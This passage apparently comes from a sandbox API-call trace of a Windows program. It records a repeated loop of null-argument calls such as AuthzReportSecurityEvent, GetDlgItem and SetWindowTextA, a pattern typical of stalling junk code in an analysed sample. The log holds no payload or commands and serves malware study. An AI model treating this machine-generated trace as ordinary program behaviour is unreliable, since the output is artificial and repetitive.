hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.505] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.505] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.505] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.505] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.505] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.505] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.505] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.505] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.505] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.505] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.505] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.505] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.505] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.505] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.505] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.505] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.505] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.505] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.505] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.505] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.505] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.505] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.505] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.506] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.506] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.506] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.506] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.506] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.506] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.506] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.506] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.506] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.506] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.506] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.506] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.506] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.506] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.506] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.506] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.506] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.506] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.506] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.506] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.506] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.506] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.506] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.506] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.506] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.506] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.506] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.506] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.506] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.506] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.506] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.506] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.506] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.506] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.506] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.506] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.506] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.506] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.506] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.506] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.507] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.507] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.507] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.507] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.507] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.507] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.507] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.507] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.507] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.507] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.507] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.507] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.507] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.507] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.507] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.507] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.507] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.507] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.507] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.507] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.507] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.507] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.507] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.507] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.507] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.507] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.507] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.507] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.507] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.507] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.507] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.507] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.507] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.507] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.507] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.507] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.507] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.507] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.507] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.507] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.507] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.508] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.508] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.508] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.508] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.508] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.508] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.508] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.508] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.508] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.508] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.508] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.508] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.508] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.508] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.508] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.508] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.508] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.508] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.508] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.508] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.508] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.508] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.508] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.508] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.508] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.508] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.508] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.508] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.508] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.508] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.508] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.508] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.508] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.508] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.508] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.508] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.508] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.508] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.508] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.508] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.508] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.509] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.509] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.509] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.509] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.509] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.509] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.509] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.509] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.509] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.509] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.509] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.509] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.509] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.509] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.509] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.509] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.509] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.509] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.509] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.509] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.509] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.509] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.509] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.509] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.509] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.509] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.509] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.509] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.509] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.509] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.509] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.509] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.509] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.509] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.509] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.509] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.509] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.509] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.509] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.509] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.509] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.510] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.510] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.510] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.510] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.510] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.510] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.510] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.510] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.510] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.510] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.510] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.510] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.510] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.510] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.510] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.510] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.510] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.510] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.510] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.510] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.510] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.510] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.510] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.510] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.510] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.510] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.510] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.510] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.510] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.510] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.510] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.510] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.510] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.510] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.510] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.510] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.510] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.510] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.510] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.510] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.510] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.511] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.511] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.511] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.511] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.511] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.511] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.511] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.511] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.511] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.511] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.511] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.511] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.511] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.511] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.511] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.511] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.511] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.511] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.511] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.511] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.511] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.511] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.511] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.511] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.511] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.511] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.511] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.511] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.511] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.511] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.511] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.511] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.511] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.511] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.511] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.511] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.511] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.511] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.511] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.511] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.511] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.512] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.512] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.512] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.512] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.512] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.512] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.512] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.512] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.512] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.512] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.512] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.512] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.512] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.512] 